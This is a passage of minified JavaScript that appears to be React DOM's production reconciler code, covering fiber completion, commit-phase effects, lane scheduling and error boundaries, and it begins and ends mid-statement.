Error(R(166));if(n=zn(Mo.current),zn(_t.current),mi(t)){if(r=t.stateNode,n=t.memoizedProps,r[Nt]=t,(i=r.nodeValue!==n)&&(e=Xe,e!==null))switch(e.tag){case 3:hi(r.nodeValue,n,(e.mode&1)!==0);break;case 5:e.memoizedProps.suppressHydrationWarning!==!0&&hi(r.nodeValue,n,(e.mode&1)!==0)}i&&(t.flags|=4)}else r=(n.nodeType===9?n:n.ownerDocument).createTextNode(r),r[Nt]=t,t.stateNode=r}return be(t),null;case 13:if(ie(ae),r=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(se&&Ye!==null&&t.mode&1&&!(t.flags&128))vp(),Ir(),t.flags|=98560,i=!1;else if(i=mi(t),r!==null&&r.dehydrated!==null){if(e===null){if(!i)throw Error(R(318));if(i=t.memoizedState,i=i!==null?i.dehydrated:null,!i)throw Error(R(317));i[Nt]=t}else Ir(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;be(t),i=!1}else ht!==null&&(Ca(ht),ht=null),i=!0;if(!i)return t.flags&65536?t:null}return t.flags&128?(t.lanes=n,t):(r=r!==null,r!==(e!==null&&e.memoizedState!==null)&&r&&(t.child.flags|=8192,t.mode&1&&(e===null||ae.current&1?ge===0&&(ge=3):Ru())),t.updateQueue!==null&&(t.flags|=4),be(t),null);case 4:return Fr(),ma(e,t),e===null&&_o(t.stateNode.containerInfo),be(t),null;case 10:return fu(t.type._context),be(t),null;case 17:return Fe(t.type)&&Xi(),be(t),null;case 19:if(ie(ae),i=t.memoizedState,i===null)return be(t),null;if(r=(t.flags&128)!==0,s=i.rendering,s===null)if(r)ro(i,!1);else{if(ge!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(s=rs(e),s!==null){for(t.flags|=128,ro(i,!1),r=s.updateQueue,r!==null&&(t.updateQueue=r,t.flags|=4),t.subtreeFlags=0,r=n,n=t.child;n!==null;)i=n,e=r,i.flags&=14680066,s=i.alternate,s===null?(i.childLanes=0,i.lanes=e,i.child=null,i.subtreeFlags=0,i.memoizedProps=null,i.memoizedState=null,i.updateQueue=null,i.dependencies=null,i.stateNode=null):(i.childLanes=s.childLanes,i.lanes=s.lanes,i.child=s.child,i.subtreeFlags=0,i.deletions=null,i.memoizedProps=s.memoizedProps,i.memoizedState=s.memoizedState,i.updateQueue=s.updateQueue,i.type=s.type,e=s.dependencies,i.dependencies=e===null?null:{lanes:e.lanes,firstContext:e.firstContext}),n=n.sibling;return te(ae,ae.current&1|2),t.child}e=e.sibling}i.tail!==null&&pe()>Ur&&(t.flags|=128,r=!0,ro(i,!1),t.lanes=4194304)}else{if(!r)if(e=rs(s),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),ro(i,!0),i.tail===null&&i.tailMode==="hidden"&&!s.alternate&&!se)return be(t),null}else 2*pe()-i.renderingStartTime>Ur&&n!==1073741824&&(t.flags|=128,r=!0,ro(i,!1),t.lanes=4194304);i.isBackwards?(s.sibling=t.child,t.child=s):(n=i.last,n!==null?n.sibling=s:t.child=s,i.last=s)}return i.tail!==null?(t=i.tail,i.rendering=t,i.tail=t.sibling,i.renderingStartTime=pe(),t.sibling=null,n=ae.current,te(ae,r?n&1|2:n&1),t):(be(t),null);case 22:case 23:return Nu(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?Ke&1073741824&&(be(t),t.subtreeFlags&6&&(t.flags|=8192)):be(t),null;case 24:return null;case 25:return null}throw Error(R(156,t.tag))}function fy(e,t){switch(au(t),t.tag){case 1:return Fe(t.type)&&Xi(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Fr(),ie(ze),ie(Re),gu(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return vu(t),null;case 13:if(ie(ae),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(R(340));Ir()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return ie(ae),null;case 4:return Fr(),null;case 10:return fu(t.type._context),null;case 22:case 23:return Nu(),null;case 24:return null;default:return null}}var yi=!1,Ne=!1,py=typeof WeakSet=="function"?WeakSet:Set,M=null;function mr(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){fe(e,t,r)}else n.current=null}function va(e,t,n){try{n()}catch(r){fe(e,t,r)}}var nd=!1;function hy(e,t){if(Jl=Qi,e=rp(),su(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var o=r.anchorOffset,i=r.focusNode;r=r.focusOffset;try{n.nodeType,i.nodeType}catch{n=null;break e}var s=0,l=-1,a=-1,u=0,d=0,f=e,c=null;t:for(;;){for(var g;f!==n||o!==0&&f.nodeType!==3||(l=s+o),f!==i||r!==0&&f.nodeType!==3||(a=s+r),f.nodeType===3&&(s+=f.nodeValue.length),(g=f.firstChild)!==null;)c=f,f=g;for(;;){if(f===e)break t;if(c===n&&++u===o&&(l=s),c===i&&++d===r&&(a=s),(g=f.nextSibling)!==null)break;f=c,c=f.parentNode}f=g}n=l===-1||a===-1?null:{start:l,end:a}}else n=null}n=n||{start:0,end:0}}else n=null;for(ea={focusedElem:e,selectionRange:n},Qi=!1,M=t;M!==null;)if(t=M,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,M=e;else for(;M!==null;){t=M;try{var y=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(y!==null){var v=y.memoizedProps,x=y.memoizedState,h=t.stateNode,p=h.getSnapshotBeforeUpdate(t.elementType===t.type?v:ct(t.type,v),x);h.__reactInternalSnapshotBeforeUpdate=p}break;case 3:var m=t.stateNode.containerInfo;m.nodeType===1?m.textContent="":m.nodeType===9&&m.documentElement&&m.removeChild(m.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(R(163))}}catch(S){fe(t,t.return,S)}if(e=t.sibling,e!==null){e.return=t.return,M=e;break}M=t.return}return y=nd,nd=!1,y}function yo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var o=r=r.next;do{if((o.tag&e)===e){var i=o.destroy;o.destroy=void 0,i!==void 0&&va(t,n,i)}o=o.next}while(o!==r)}}function Ns(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function ga(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function Jp(e){var t=e.alternate;t!==null&&(e.alternate=null,Jp(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Nt],delete t[jo],delete t[ra],delete t[Xg],delete t[qg])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function eh(e){return e.tag===5||e.tag===3||e.tag===4}function rd(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||eh(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function ya(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Yi));else if(r!==4&&(e=e.child,e!==null))for(ya(e,t,n),e=e.sibling;e!==null;)ya(e,t,n),e=e.sibling}function wa(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(wa(e,t,n),e=e.sibling;e!==null;)wa(e,t,n),e=e.sibling}var Se=null,pt=!1;function Jt(e,t,n){for(n=n.child;n!==null;)th(e,t,n),n=n.sibling}function th(e,t,n){if(Rt&&typeof Rt.onCommitFiberUnmount=="function")try{Rt.onCommitFiberUnmount(xs,n)}catch{}switch(n.tag){case 5:Ne||mr(n,t);case 6:var r=Se,o=pt;Se=null,Jt(e,t,n),Se=r,pt=o,Se!==null&&(pt?(e=Se,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Se.removeChild(n.stateNode));break;case 18:Se!==null&&(pt?(e=Se,n=n.stateNode,e.nodeType===8?ml(e.parentNode,n):e.nodeType===1&&ml(e,n),To(e)):ml(Se,n.stateNode));break;case 4:r=Se,o=pt,Se=n.stateNode.containerInfo,pt=!0,Jt(e,t,n),Se=r,pt=o;break;case 0:case 11:case 14:case 15:if(!Ne&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){o=r=r.next;do{var i=o,s=i.destroy;i=i.tag,s!==void 0&&(i&2||i&4)&&va(n,t,s),o=o.next}while(o!==r)}Jt(e,t,n);break;case 1:if(!Ne&&(mr(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){fe(n,t,l)}Jt(e,t,n);break;case 21:Jt(e,t,n);break;case 22:n.mode&1?(Ne=(r=Ne)||n.memoizedState!==null,Jt(e,t,n),Ne=r):Jt(e,t,n);break;default:Jt(e,t,n)}}function od(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new py),t.forEach(function(r){var o=Cy.bind(null,e,r);n.has(r)||(n.add(r),r.then(o,o))})}}function ut(e,t){var n=t.deletions;if(n!==null)for(var r=0;r<n.length;r++){var o=n[r];try{var i=e,s=t,l=s;e:for(;l!==null;){switch(l.tag){case 5:Se=l.stateNode,pt=!1;break e;case 3:Se=l.stateNode.containerInfo,pt=!0;break e;case 4:Se=l.stateNode.containerInfo,pt=!0;break e}l=l.return}if(Se===null)throw Error(R(160));th(i,s,o),Se=null,pt=!1;var a=o.alternate;a!==null&&(a.return=null),o.return=null}catch(u){fe(o,t,u)}}if(t.subtreeFlags&12854)for(t=t.child;t!==null;)nh(t,e),t=t.sibling}function nh(e,t){var n=e.alternate,r=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:if(ut(t,e),Ct(e),r&4){try{yo(3,e,e.return),Ns(3,e)}catch(v){fe(e,e.return,v)}try{yo(5,e,e.return)}catch(v){fe(e,e.return,v)}}break;case 1:ut(t,e),Ct(e),r&512&&n!==null&&mr(n,n.return);break;case 5:if(ut(t,e),Ct(e),r&512&&n!==null&&mr(n,n.return),e.flags&32){var o=e.stateNode;try{Co(o,"")}catch(v){fe(e,e.return,v)}}if(r&4&&(o=e.stateNode,o!=null)){var i=e.memoizedProps,s=n!==null?n.memoizedProps:i,l=e.type,a=e.updateQueue;if(e.updateQueue=null,a!==null)try{l==="input"&&i.type==="radio"&&i.name!=null&&kf(o,i),Vl(l,s);var u=Vl(l,i);for(s=0;s<a.length;s+=2){var d=a[s],f=a[s+1];d==="style"?Rf(o,f):d==="dangerouslySetInnerHTML"?Tf(o,f):d==="children"?Co(o,f):Ka(o,d,f,u)}switch(l){case"input":zl(o,i);break;case"textarea":Pf(o,i);break;case"select":var c=o._wrapperState.wasMultiple;o._wrapperState.wasMultiple=!!i.multiple;var g=i.value;g!=null?gr(o,!!i.multiple,g,!1):c!==!!i.multiple&&(i.defaultValue!=null?gr(o,!!i.multiple,i.defaultValue,!0):gr(o,!!i.multiple,i.multiple?[]:"",!1))}o[jo]=i}catch(v){fe(e,e.return,v)}}break;case 6:if(ut(t,e),Ct(e),r&4){if(e.stateNode===null)throw Error(R(162));o=e.stateNode,i=e.memoizedProps;try{o.nodeValue=i}catch(v){fe(e,e.return,v)}}break;case 3:if(ut(t,e),Ct(e),r&4&&n!==null&&n.memoizedState.isDehydrated)try{To(t.containerInfo)}catch(v){fe(e,e.return,v)}break;case 4:ut(t,e),Ct(e);break;case 13:ut(t,e),Ct(e),o=e.child,o.flags&8192&&(i=o.memoizedState!==null,o.stateNode.isHidden=i,!i||o.alternate!==null&&o.alternate.memoizedState!==null||(bu=pe())),r&4&&od(e);break;case 22:if(d=n!==null&&n.memoizedState!==null,e.mode&1?(Ne=(u=Ne)||d,ut(t,e),Ne=u):ut(t,e),Ct(e),r&8192){if(u=e.memoizedState!==null,(e.stateNode.isHidden=u)&&!d&&e.mode&1)for(M=e,d=e.child;d!==null;){for(f=M=d;M!==null;){switch(c=M,g=c.child,c.tag){case 0:case 11:case 14:case 15:yo(4,c,c.return);break;case 1:mr(c,c.return);var y=c.stateNode;if(typeof y.componentWillUnmount=="function"){r=c,n=c.return;try{t=r,y.props=t.memoizedProps,y.state=t.memoizedState,y.componentWillUnmount()}catch(v){fe(r,n,v)}}break;case 5:mr(c,c.return);break;case 22:if(c.memoizedState!==null){sd(f);continue}}g!==null?(g.return=c,M=g):sd(f)}d=d.sibling}e:for(d=null,f=e;;){if(f.tag===5){if(d===null){d=f;try{o=f.stateNode,u?(i=o.style,typeof i.setProperty=="function"?i.setProperty("display","none","important"):i.display="none"):(l=f.stateNode,a=f.memoizedProps.style,s=a!=null&&a.hasOwnProperty("display")?a.display:null,l.style.display=Nf("display",s))}catch(v){fe(e,e.return,v)}}}else if(f.tag===6){if(d===null)try{f.stateNode.nodeValue=u?"":f.memoizedProps}catch(v){fe(e,e.return,v)}}else if((f.tag!==22&&f.tag!==23||f.memoizedState===null||f===e)&&f.child!==null){f.child.return=f,f=f.child;continue}if(f===e)break e;for(;f.sibling===null;){if(f.return===null||f.return===e)break e;d===f&&(d=null),f=f.return}d===f&&(d=null),f.sibling.return=f.return,f=f.sibling}}break;case 19:ut(t,e),Ct(e),r&4&&od(e);break;case 21:break;default:ut(t,e),Ct(e)}}function Ct(e){var t=e.flags;if(t&2){try{e:{for(var n=e.return;n!==null;){if(eh(n)){var r=n;break e}n=n.return}throw Error(R(160))}switch(r.tag){case 5:var o=r.stateNode;r.flags&32&&(Co(o,""),r.flags&=-33);var i=rd(e);wa(e,i,o);break;case 3:case 4:var s=r.stateNode.containerInfo,l=rd(e);ya(e,l,s);break;default:throw Error(R(161))}}catch(a){fe(e,e.return,a)}e.flags&=-3}t&4096&&(e.flags&=-4097)}function my(e,t,n){M=e,rh(e)}function rh(e,t,n){for(var r=(e.mode&1)!==0;M!==null;){var o=M,i=o.child;if(o.tag===22&&r){var s=o.memoizedState!==null||yi;if(!s){var l=o.alternate,a=l!==null&&l.memoizedState!==null||Ne;l=yi;var u=Ne;if(yi=s,(Ne=a)&&!u)for(M=o;M!==null;)s=M,a=s.child,s.tag===22&&s.memoizedState!==null?ld(o):a!==null?(a.return=s,M=a):ld(o);for(;i!==null;)M=i,rh(i),i=i.sibling;M=o,yi=l,Ne=u}id(e)}else o.subtreeFlags&8772&&i!==null?(i.return=o,M=i):id(e)}}function id(e){for(;M!==null;){var t=M;if(t.flags&8772){var n=t.alternate;try{if(t.flags&8772)switch(t.tag){case 0:case 11:case 15:Ne||Ns(5,t);break;case 1:var r=t.stateNode;if(t.flags&4&&!Ne)if(n===null)r.componentDidMount();else{var o=t.elementType===t.type?n.memoizedProps:ct(t.type,n.memoizedProps);r.componentDidUpdate(o,n.memoizedState,r.__reactInternalSnapshotBeforeUpdate)}var i=t.updateQueue;i!==null&&Vc(t,i,r);break;case 3:var s=t.updateQueue;if(s!==null){if(n=null,t.child!==null)switch(t.child.tag){case 5:n=t.child.stateNode;break;case 1:n=t.child.stateNode}Vc(t,s,n)}break;case 5:var l=t.stateNode;if(n===null&&t.flags&4){n=l;var a=t.memoizedProps;switch(t.type){case"button":case"input":case"select":case"textarea":a.autoFocus&&n.focus();break;case"img":a.src&&(n.src=a.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(t.memoizedState===null){var u=t.alternate;if(u!==null){var d=u.memoizedState;if(d!==null){var f=d.dehydrated;f!==null&&To(f)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;default:throw Error(R(163))}Ne||t.flags&512&&ga(t)}catch(c){fe(t,t.return,c)}}if(t===e){M=null;break}if(n=t.sibling,n!==null){n.return=t.return,M=n;break}M=t.return}}function sd(e){for(;M!==null;){var t=M;if(t===e){M=null;break}var n=t.sibling;if(n!==null){n.return=t.return,M=n;break}M=t.return}}function ld(e){for(;M!==null;){var t=M;try{switch(t.tag){case 0:case 11:case 15:var n=t.return;try{Ns(4,t)}catch(a){fe(t,n,a)}break;case 1:var r=t.stateNode;if(typeof r.componentDidMount=="function"){var o=t.return;try{r.componentDidMount()}catch(a){fe(t,o,a)}}var i=t.return;try{ga(t)}catch(a){fe(t,i,a)}break;case 5:var s=t.return;try{ga(t)}catch(a){fe(t,s,a)}}}catch(a){fe(t,t.return,a)}if(t===e){M=null;break}var l=t.sibling;if(l!==null){l.return=t.return,M=l;break}M=t.return}}var vy=Math.ceil,ss=Kt.ReactCurrentDispatcher,ku=Kt.ReactCurrentOwner,it=Kt.ReactCurrentBatchConfig,X=0,we=null,he=null,Ee=0,Ke=0,vr=On(0),ge=0,zo=null,Gn=0,Rs=0,Pu=0,wo=null,De=null,bu=0,Ur=1/0,Dt=null,ls=!1,xa=null,Sn=null,wi=!1,hn=null,as=0,xo=0,Sa=null,Li=-1,Di=0;function Ae(){return X&6?pe():Li!==-1?Li:Li=pe()}function En(e){return e.mode&1?X&2&&Ee!==0?Ee&-Ee:Jg.transition!==null?(Di===0&&(Di=Uf()),Di):(e=J,e!==0||(e=window.event,e=e===void 0?16:Gf(e.type)),e):1}function vt(e,t,n,r){if(50<xo)throw xo=0,Sa=null,Error(R(185));Ko(e,n,r),(!(X&2)||e!==we)&&(e===we&&(!(X&2)&&(Rs|=n),ge===4&&ln(e,Ee)),$e(e,r),n===1&&X===0&&!(t.mode&1)&&(Ur=pe()+500,Ps&&jn()))}function $e(e,t){var n=e.callbackNode;Jv(e,t);var r=Wi(e,e===we?Ee:0);if(r===0)n!==null&&vc(n),e.callbackNode=null,e.callbackPriority=0;else if(t=r&-r,e.callbackPriority!==t){if(n!=null&&vc(n),t===1)e.tag===0?Zg(ad.bind(null,e)):pp(ad.bind(null,e)),Gg(function(){!(X&6)&&jn()}),n=null;else{switch(Bf(r)){case 1:n=Za;break;case 4:n=Ff;break;case 16:n=Hi;break;case 536870912:n=$f;break;default:n=Hi}n=dh(n,oh.bind(null,e))}e.callbackPriority=t,e.callbackNode=n}}function oh(e,t){if(Li=-1,Di=0,X&6)throw Error(R(327));var n=e.callbackNode;if(Er()&&e.callbackNode!==n)return null;var r=Wi(e,e===we?Ee:0);if(r===0)return null;if(r&30||r&e.expiredLanes||t)t=us(e,r);else{t=r;var o=X;X|=2;var i=sh();(we!==e||Ee!==t)&&(Dt=null,Ur=pe()+500,Vn(e,t));do try{wy();break}catch(l){ih(e,l)}while(!0);du(),ss.current=i,X=o,he!==null?t=0:(we=null,Ee=0,t=ge)}if(t!==0){if(t===2&&(o=Gl(e),o!==0&&(r=o,t=Ea(e,o))),t===1)throw n=zo,Vn(e,0),ln(e,r),$e(e,pe()),n;if(t===6)ln(e,r);else{if(o=e.current.alternate,!(r&30)&&!gy(o)&&(t=us(e,r),t===2&&(i=Gl(e),i!==0&&(r=i,t=Ea(e,i))),t===1))throw n=zo,Vn(e,0),ln(e,r),$e(e,pe()),n;switch(e.finishedWork=o,e.finishedLanes=r,t){case 0:case 1:throw Error(R(345));case 2:Ln(e,De,Dt);break;case 3:if(ln(e,r),(r&130023424)===r&&(t=bu+500-pe(),10<t)){if(Wi(e,0)!==0)break;if(o=e.suspendedLanes,(o&r)!==r){Ae(),e.pingedLanes|=e.suspendedLanes&o;break}e.timeoutHandle=na(Ln.bind(null,e,De,Dt),t);break}Ln(e,De,Dt);break;case 4:if(ln(e,r),(r&4194240)===r)break;for(t=e.eventTimes,o=-1;0<r;){var s=31-mt(r);i=1<<s,s=t[s],s>o&&(o=s),r&=~i}if(r=o,r=pe()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*vy(r/1960))-r,10<r){e.timeoutHandle=na(Ln.bind(null,e,De,Dt),r);break}Ln(e,De,Dt);break;case 5:Ln(e,De,Dt);break;default:throw Error(R(329))}}}return $e(e,pe()),e.callbackNode===n?oh.bind(null,e):null}function Ea(e,t){var n=wo;return e.current.memoizedState.isDehydrated&&(Vn(e,t).flags|=256),e=us(e,t),e!==2&&(t=De,De=n,t!==null&&Ca(t)),e}function Ca(e){De===null?De=e:De.push.apply(De,e)}function gy(e){for(var t=e;;){if(t.flags&16384){var n=t.updateQueue;if(n!==null&&(n=n.stores,n!==null))for(var r=0;r<n.length;r++){var o=n[r],i=o.getSnapshot;o=o.value;try{if(!gt(i(),o))return!1}catch{return!1}}}if(n=t.child,t.subtreeFlags&16384&&n!==null)n.return=t,t=n;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function ln(e,t){for(t&=~Pu,t&=~Rs,e.suspendedLanes|=t,e.pingedLanes&=~t,e=e.expirationTimes;0<t;){var n=31-mt(t),r=1<<n;e[n]=-1,t&=~r}}function ad(e){if(X&6)throw Error(R(327));Er();var t=Wi(e,0);if(!(t&1))return $e(e,pe()),null;var n=us(e,t);if(e.tag!==0&&n===2){var r=Gl(e);r!==0&&(t=r,n=Ea(e,r))}if(n===1)throw n=zo,Vn(e,0),ln(e,t),$e(e,pe()),n;if(n===6)throw Error(R(345));return e.finishedWork=e.current.alternate,e.finishedLanes=t,Ln(e,De,Dt),$e(e,pe()),null}function Tu(e,t){var n=X;X|=1;try{return e(t)}finally{X=n,X===0&&(Ur=pe()+500,Ps&&jn())}}function Yn(e){hn!==null&&hn.tag===0&&!(X&6)&&Er();var t=X;X|=1;var n=it.transition,r=J;try{if(it.transition=null,J=1,e)return e()}finally{J=r,it.transition=n,X=t,!(X&6)&&jn()}}function Nu(){Ke=vr.current,ie(vr)}function Vn(e,t){e.finishedWork=null,e.finishedLanes=0;var n=e.timeoutHandle;if(n!==-1&&(e.timeoutHandle=-1,Kg(n)),he!==null)for(n=he.return;n!==null;){var r=n;switch(au(r),r.tag){case 1:r=r.type.childContextTypes,r!=null&&Xi();break;case 3:Fr(),ie(ze),ie(Re),gu();break;case 5:vu(r);break;case 4:Fr();break;case 13:ie(ae);break;case 19:ie(ae);break;case 10:fu(r.type._context);break;case 22:case 23:Nu()}n=n.return}if(we=e,he=e=Cn(e.current,null),Ee=Ke=t,ge=0,zo=null,Pu=Rs=Gn=0,De=wo=null,In!==null){for(t=0;t<In.length;t++)if(n=In[t],r=n.interleaved,r!==null){n.interleaved=null;var o=r.next,i=n.pending;if(i!==null){var s=i.next;i.next=o,r.next=s}n.pending=r}In=null}return e}function ih(e,t){do{var n=he;try{if(du(),ji.current=is,os){for(var r=ue.memoizedState;r!==null;){var o=r.queue;o!==null&&(o.pending=null),r=r.next}os=!1}if(Kn=0,ye=me=ue=null,go=!1,Lo=0,ku.current=null,n===null||n.return===null){ge=1,zo=t,he=null;break}e:{var i=e,s=n.return,l=n,a=t;if(t=Ee,l.flags|=32768,a!==null&&typeof a=="object"&&typeof a.then=="function"){var u=a,d=l,f=d.tag;if(!(d.mode&1)&&(f===0||f===11||f===15)){var c=d.alternate;c?(d.updateQueue=c.updateQueue,d.memoizedState=c.memoizedState,d.lanes=c.lanes):(d.updateQueue=null,d.memoizedState=null)}var g=Yc(s);if(g!==null){g.flags&=-257,Xc(g,s,l,i,t),g.mode&1&&Gc(i,u,t),t=g,a=u;var y=t.updateQueue;if(y===null){var v=new Set;v.add(a),t.updateQueue=v}else y.add(a);break e}else{if(!(t&1)){Gc(i,u,t),Ru();break e}a=Error(R(426))}}else if(se&&l.mode&1){var x=Yc(s);if(x!==null){!(x.flags&65536)&&(x.flags|=256),Xc(x,s,l,i,t),uu($r(a,l));break e}}i=a=$r(a,l),ge!==4&&(ge=2),wo===null?wo=[i]:wo.push(i),i=s;do{switch(i.tag){case 3:i.flags|=65536,t&=-t,i.lanes|=t;var h=Bp(i,a,t);Bc(i,h);break e;case 1:l=a;var p=i.type,m=i.stateNode;if(!(i.flags&128)&&(typeof p.getDerivedStateFromError=="function"||m!==null&&typeof m.componentDidCatch=="function"&&(Sn===null||!Sn.has(m)))){i.flags|=65536,t&=-t,i.lanes|=t;var S=Vp(i,l,t);Bc(i,S);break e}}i=i.return}while(i!==null)}ah(n)}catch(C){t=C,he===n&&n!==null&&(he=n=n.return);continue}break}while(!0)}function sh(){var e=ss.current;return ss.current=is,e===null?is:e}function Ru(){(ge===0||ge===3||ge===2)&&(ge=4),we===null||!(Gn&268435455)&&!(Rs&268435455)||ln(we,Ee)}function us(e,t){var n=X;X|=2;var r=sh();(we!==e||Ee!==t)&&(Dt=null,Vn(e,t));do try{yy();break}catch(o){ih(e,o)}while(!0);if(du(),X=n,ss.current=r,he!==null)throw Error(R(261));return we=null,Ee=0,ge}function yy(){for(;he!==null;)lh(he)}function wy(){for(;he!==null&&!Hv();)lh(he)}function lh(e){var t=ch(e.alternate,e,Ke);e.memoizedProps=e.pendingProps,t===null?ah(e):he=t,ku.current=null}function ah(e){var t=e;do{var n=t.alternate;if(e=t.return,t.flags&32768){if(n=fy(n,t),n!==null){n.flags&=32767,he=n;return}if(e!==null)e.flags|=32768,e.subtreeFlags=0,e.deletions=null;else{ge=6,he=null;return}}else if(n=dy(n,t,Ke),n!==null){he=n;return}if(t=t.sibling,t!==null){he=t;return}he=t=e}while(t!==null);ge===0&&(ge=5)}function Ln(e,t,n){var r=J,o=it.transition;try{it.transition=null,J=1,xy(e,t,n,r)}finally{it.transition=o,J=r}return null}function xy(e,t,n,r){do Er();while(hn!==null);if(X&6)throw Error(R(327));n=e.finishedWork;var o=e.finishedLanes;if(n===null)return null;if(e.finishedWork=null,e.finishedLanes=0,n===e.current)throw Error(R(177));e.callbackNode=null,e.callbackPriority=0;var i=n.lanes|n.childLanes;if(eg(e,i),e===we&&(he=we=null,Ee=0),!(n.subtreeFlags&2064)&&!(n.flags&2064)||wi||(wi=!0,dh(Hi,function(){return Er(),null})),i=(n.flags&15990)!==0,n.subtreeFlags&15990||i){i=it.transition,it.transition=null;var s=J;J=1;var l=X;X|=4,ku.current=null,hy(e,n),nh(n,e),$g(ea),Qi=!!Jl,ea=Jl=null,e.current=n,my(n),Wv(),X=l,J=s,it.transition=i}else e.current=n;if(wi&&(wi=!1,hn=e,as=o),i=e.pendingLanes,i===0&&(Sn=null),Gv(n.stateNode),$e(e,pe()),t!==null)for(r=e.onRecoverableError,n=0;n<t.length;n++)o=t[n],r(o.value,{componentStack:o.stack,digest:o.digest});if(ls)throw ls=!1,e=xa,xa=null,e;return as&1&&e.tag!==0&&Er(),i=e.pendingLanes,i&1?e===Sa?xo++:(xo=0,Sa=e):xo=0,jn(),null}function Er(){if(hn!==null){var e=Bf(as),t=it.transition,n=J;try{if(it.transition=null,J=16>e?16:e,hn===null)var r=!1;else{if(e=hn,hn=null,as=0,X&6)throw Error(R(331));var o=X;for(X|=4,M=e.current;M!==null;){var i=M,s=i.child;if(M.flags&16){var l=i.deletions;if(l!==null){for(var a=0;a<l.length;a++){var u=l[a];for(M=u;M!==null;){var d=M;switch(d.tag){case 0:case 11:case 15:yo(8,d,i)}var f=d.child;if(f!==null)f.return=d,M=f;else for(;M!==null;){d=M;var c=d.sibling,g=d.return;if(Jp(d),d===u){M=null;break}if(c!==null){c.return=g,M=c;break}M=g}}}var y=i.alternate;if(y!==null){var v=y.child;if(v!==null){y.child=null;do{var x=v.sibling;v.sibling=null,v=x}while(v!==null)}}M=i}}if(i.subtreeFlags&2064&&s!==null)s.return=i,M=s;else e:for(;M!==null;){if(i=M,i.flags&2048)switch(i.tag){case 0:case 11:case 15:yo(9,i,i.return)}var h=i.sibling;if(h!==null){h.return=i.return,M=h;break e}M=i.return}}var p=e.current;for(M=p;M!==null;){s=M;var m=s.child;if(s.subtreeFlags&2064&&m!==null)m.return=s,M=m;else e:for(s=p;M!==null;){if(l=M,l.flags&2048)try{switch(l.tag){case 0:case 11:case 15:Ns(9,l)}}catch(C){fe(l,l.return,C)}if(l===s){M=null;break e}var S=l.sibling;if(S!==null){S.return=l.return,M=S;break e}M=l.return}}if(X=o,jn(),Rt&&typeof Rt.onPostCommitFiberRoot=="function")try{Rt.onPostCommitFiberRoot(xs,e)}catch{}r=!0}return r}finally{J=n,it.transition=t}}return!1}function ud(e,t,n){t=$r(n,t),t=Bp(e,t,1),e=xn(e,t,1),t=Ae(),e!==null&&(Ko(e,1,t),$e(e,t))}function fe(e,t,n){if(e.tag===3)ud(e,e,n);else for(;t!==null;){if(t.tag===3){ud(t,e,n);break}else if(t.tag===1){var r=t.stateNode;if(typeof t.type.getDerivedStateFromError=="function"||typeof r.componentDidCatch=="function"&&(Sn===null||!Sn.has(r))){e=$r(n,e),e=Vp(t,e,1),t=xn(t,e,1),e=Ae(),t!==null&&(Ko(t,1,e),$e(t,e));break}}t=t.return}}function Sy(e,t,n){var r=e.pingCache;r!==null&&r.delete(t),t=Ae(),e.pingedLanes|=e.suspendedLanes&n,we===e&&(Ee&n)===n&&(ge===4||ge===3&&(Ee&130023424)===Ee&&500>pe()-bu?Vn(e,0):Pu|=n),$e(e,t)}function 